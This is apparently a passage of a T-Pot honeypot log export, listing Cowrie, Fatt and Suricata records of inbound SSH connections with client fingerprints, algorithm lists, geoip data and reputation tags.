"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46062, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.741614", "@timestamp": "2021-09-20T11:06:48.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21379	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:48.461702+03	2021-09-20 14:15:03.590612+03	{"_id": "jwbjAnwBvYTbRNuEFgKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5a2c1cff9272", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:48.461702Z", "@timestamp": "2021-09-20T11:06:48.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21380	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.544713+03	2021-09-20 14:15:03.591612+03	{"_id": "kAbjAnwBvYTbRNuEFgKS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d59f041945d4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:48.544713Z", "@timestamp": "2021-09-20T11:06:48.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21381	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.722829+03	2021-09-20 14:15:03.593611+03	{"_id": "nwbjAnwBvYTbRNuEFgKX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45372 (192.168.176.2:22) [session: ffa4915667c0]", "session": "ffa4915667c0", "@version": "1", "protocol": "ssh", "src_port": 45372, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.722829Z", "@timestamp": "2021-09-20T11:06:48.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21382	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.978738+03	2021-09-20 14:15:03.594613+03	{"_id": "oAbjAnwBvYTbRNuEFgKX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59922 (192.168.176.2:22) [session: bd2a8e22537c]", "session": "bd2a8e22537c", "@version": "1", "protocol": "ssh", "src_port": 59922, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.978738Z", "@timestamp": "2021-09-20T11:06:48.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21383	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:48.463792+03	2021-09-20 14:15:03.595612+03	{"_id": "qAbjAnwBvYTbRNuEFgKX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46062, "timestamp": "2021-09-20T11:06:48.463792", "@timestamp": "2021-09-20T11:06:48.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21384	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:48.828842+03	2021-09-20 14:15:03.597613+03	{"_id": "qQbjAnwBvYTbRNuEFgKX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43354, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.828842", "@timestamp": "2021-09-20T11:06:48.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21385	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.737263+03	2021-09-20 14:15:03.598613+03	{"_id": "qgbjAnwBvYTbRNuEFgKX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ffa4915667c0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:48.737263Z", "@timestamp": "2021-09-20T11:06:48.737Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21386	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:48.861096+03	2021-09-20 14:15:03.599612+03	{"_id": "qwbjAnwBvYTbRNuEFgKX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6872d04b1153", "@version": "1", "timestamp": "2021-09-20T11:06:48.861096Z", "@timestamp": "2021-09-20T11:06:48.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21387	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:48.981719+03	2021-09-20 14:15:03.601612+03	{"_id": "rAbjAnwBvYTbRNuEFgKX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bd2a8e22537c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:48.981719Z", "@timestamp": "2021-09-20T11:06:48.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21388	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:49.253329+03	2021-09-20 14:15:03.602613+03	{"_id": "rQbjAnwBvYTbRNuEGQIY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 524911228010806, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59922, "dest_port": 22, "timestamp": "2021-09-20T11:06:49.253329Z", "@timestamp": "2021-09-20T11:06:49.253Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21389	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:48.989013+03	2021-09-20 14:15:03.603613+03	{"_id": "sAbjAnwBvYTbRNuEGQIZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1986205130526443, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40594, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.989013Z", "@timestamp": "2021-09-20T11:06:48.989Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21390	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:06:49.425763+03	2021-09-20 14:15:03.605612+03	{"_id": "sQbjAnwBvYTbRNuEGQIZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:48.873383+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1375548828308391, "payload": "AAADzAYUJZxsGnnt/Vmy1hnvOo1kEgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jd